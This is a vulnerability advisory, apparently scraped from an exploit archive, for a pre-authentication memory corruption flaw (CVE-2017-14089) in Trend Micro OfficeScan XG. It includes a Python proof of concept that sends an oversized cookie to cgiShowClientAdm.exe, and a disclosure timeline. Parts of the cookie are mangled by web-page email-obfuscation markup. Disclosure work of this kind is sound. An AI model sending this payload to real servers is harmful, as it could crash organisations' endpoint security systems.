Trend Micro OfficeScan 11.0/XG (12.0) - Memory Corruption

2017-09-29 09:05:02

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14089-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-REMOTE-MEMORY-CORRUPTION.txt
[+] ISR: ApparitionSec



Vendor:
==================
www.trendmicro.com



Product:
========
OfficeScan
v11.0 and XG (12.0)*


OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.


Vulnerability Type:
===================
Unauthorized Remote Memory Corruption



CVE Reference:
==============
CVE-2017-14089



Security Issue:
================
Remote unauthenticated attackers that can make connection the TrendMicro OfficeScan XG application targeting the "cgiShowClientAdm.exe"
process can cause memory corruption issues.


References:
===========
https://success.trendmicro.com/solution/1118372



Exploit/POC:
=============
import urllib,urllib2
from urllib2 import Request

print 'TrendMicro OfficeScan XG'
print 'Stack Memory Corruption POC'
print 'by hyp3rlinx\n'

IP="VICTIM-IP:4343"

PAYLOAD="A"*256

url = urllib2.Request('https://'+IP+'/officescan/console/html/cgi/cgiShowClientAdm.exe')
cookie="Cookie: serror=0; session_expired=no; <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="e8ae8d899c9d9a8dad86898a848dbb9c899c8dd58d86898a848da9869c81aa878c91a8d9">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="385d56595a545d7b7b7e6a7809">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c8ada6a9aaa4ad8baebf88f9">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ddb8b3bcbfb1b899beae9dec">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="31545f50535d54625e4345585f567101">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="72171c13101e1721020b3243">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="a4c1cac5c6c8c1f2cdd6d1d7e495">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5a123b291b2c1b3e3e092c391a6b">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b4dddac7c0d5d8d8e3e7e7f485">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="23464d42414f46676f736313">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f182809d9593bc9e9594b1c1">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="36535857545a537f6640007607">[email protected]</a>|<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6116530a121411110e13152151">[email protected]</a>|; stamp=2231521137; timestamp=1497360567; DisabledIds=9999.; LogonUser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; ReadOnlyIds=8.56.; enableRba=1; key=16914202097564; session=666; LANG=en_US; PHPSESSID=WHATEVER123; lastID=34; lastTab=-1; theme=default; wf_CSRF_token=99999999999999999999999999999999; serror=0; retry=0; PHPSESSID=WHATEVERHERE; wf_CSRF_token=666; LANG=en_US; theme=default; lastID=33; lastTab=-1"

print '\nsending packetz... \n'+ cookie

##url.add_header("X-CSRFToken", "ee721b62aef83b017e8c86f52e38a411") #<============== X-CSRFToken IS NOT EVEN NEEDED!
url.add_header("Content-Type", "application/x-www-form-urlencoded; charset=utf-8")
url.add_header("Content-Length", "54")
url.add_header("Cookie ",cookie)

req=urllib2.urlopen(url)
res = urllib2.urlopen(req)
print res




Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
====================
Vendor Notification: June 5, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx<script>!function(e,t,r,n,c,a,l){function i(t,r){return r=e.createElement('div'),r.innerHTML='<a href="'+t.replace(/"/g,'"')+'"></a>',r.childNodes[0].getAttribute('href')}function o(e,t,r,n){for(r='',n='0x'+e.substr(t,2)|0,t+=2;t<e.length;t+=2)r+=String.fromCharCode('0x'+e.substr(t,2)^n);return i(r)}try{for(c=e.getElementsByTagName('a'),l='/cdn-cgi/l/email-protection#',n=0;n<c.length;n++)try{(t=(a=c[n]).href.indexOf(l))>-1&&(a.href='mailto:'+o(a.href,t+l.length))}catch(e){}for(c=e.querySelectorAll('.__cf_email__'),n=0;n<c.length;n++)try{(a=c[n]).parentNode.replaceChild(e.createTextNode(o(a.getAttribute('data-cfemail'),0)),a)}catch(e){}}catch(e){}}(document);</script>

Fixes

No fixes

In order to submit a new fix you need to be registered.